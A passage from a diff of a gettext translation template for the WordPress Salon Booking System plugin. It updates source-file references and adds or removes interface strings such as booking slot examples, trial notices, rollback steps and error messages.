System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:225\n+msgid \"15 days free trial - cancel anytime\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:34\n+msgid \"2-hour service → Slots every 2 hours: 09:00, 11:00, 13:00, 15:00...\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the version to rollback\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:31\n+#, php-format\n+msgid \"2. Download Salon Booking %s\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:32, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:32\n-msgid \"No upcoming bookings ...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43\n+msgid \"24 hrs\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44\n+msgid \"3 days\"\n+msgstr \"\"\n+\n+#. %s will be replaced by the version to rollback\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_tools_rollback.php:36\n+#, php-format\n+msgid \"3. Upload Salon Booking %s folder on your server \"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:30\n+msgid \"30-minute service → Slots every 30 min: 09:00, 09:30, 10:00, 10:30...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:31\n+msgid \"45-minute service → Slots every 45 min: 09:00, 09:45, 10:30, 11:15...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:177\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:177\n+msgid \"5 minutes\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:32\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:32\n+msgid \"60-minute service → Slots every 60 min: 09:00, 10:00, 11:00, 12:00...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_auto_align_slots.php:33\n+msgid \"75-minute service → Slots every 75 min: 09:00, 10:15, 11:30, 12:45...\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42\n msgid \"8 hrs\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:34, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:34\n-msgid \"24 hrs\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:26\n+msgid \"\u003Cp>Please insert your license key\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:35, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:35\n-msgid \"3 days\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fadmin_end.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Ftrial\u002Fadmin_near.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_end.php:5\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Ftrial\u002Fadmin_near.php:5\n+msgid \"\"\n+\"\u003Cstrong>Do you want a 20% discount ? \u003Ca href=\\\"http:\u002F\u002Fsalonbookingsystem.\"\n+\"com\u002Finvite-friends-get-20-discount-first-purchase\u002F\\\" target=\\\"blank\\\">INVITE \"\n+\"YOUR FRIENDS!\u003C\u002Fa>\u003C\u002Fstrong>\u003C\u002Fp>\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:36, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:36\n-msgid \"1 week\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:63\n+msgid \"\"\n+\"\u003Cstrong>ERROR\u003C\u002Fstrong>: This email is already registered, please choose \"\n+\"another one.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:37, src\u002FSLN\u002FPostType\u002FAttendant.php:173, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:173, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:37, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:173, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FPostType\u002FAttendant.php:173\n-msgid \"All\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers.php:76\n+msgid \"\u003Cstrong>ERROR\u003C\u002Fstrong>: This email is empty.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:38, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:38\n-msgid \"Are you sure ?\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:52\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:52\n+msgid \"\"\n+\"\u003Cstrong>FREE\u003C\u002Fstrong> users please post the problem on \u003Ca href=\\\"https:\"\n+\"\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fsalon-booking-system\\\" target=\\\"blank\\\">\"\n+\"worpdress.org\u003C\u002Fa> official forum. \"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:39, views\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:39, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:436\n-msgid \"Yes, delete\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:49\n+msgid \"\u003Cstrong>PRO\u003C\u002Fstrong> users please send and email to\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:40, src\u002FSLB_PWA\u002FLabelProvider.php:98, src\u002FSLB_PWA\u002FLabelProvider.php:101, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:40, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:98, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:101\n-msgid \"Go back\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fnotice\u002Fhtml_notice_update.php:7\n+msgid \"\"\n+\"A database update is required for this version. Please make a back-up of \"\n+\"your database before proceed.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:41\n-msgid \"Edit the reservation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:492\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:492\n+msgid \"A system error occurred. Please contact the website administrator.\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:42, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:42\n-msgid \"date\"\n+#. %s will be replaced by the number of transaction fee\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_thankyou_transaction_fee.php:12\n+#, php-format\n+msgid \"A transaction fee of %s will be applied\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:43, views\u002Fadmin\u002Fcalendar.php:673, views\u002Fadmin\u002Fcalendar.php:673, views\u002Fmetabox\u002Fbooking.php:1025, views\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:908, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1024, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:1024, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:43, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fadmin\u002Fcalendar.php:673, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1025, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:1025\n-msgid \"time\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant_description.php:13\n+msgid \"A very short description of this assistant. It is optional\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:44, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:44\n-msgid \"firstname\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FService.php:82\n+msgid \"A very short description of this service. It is optional\"\n msgstr \"\"\n \n-#: src\u002FSLB_PWA\u002FLabelProvider.php:45, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:45, 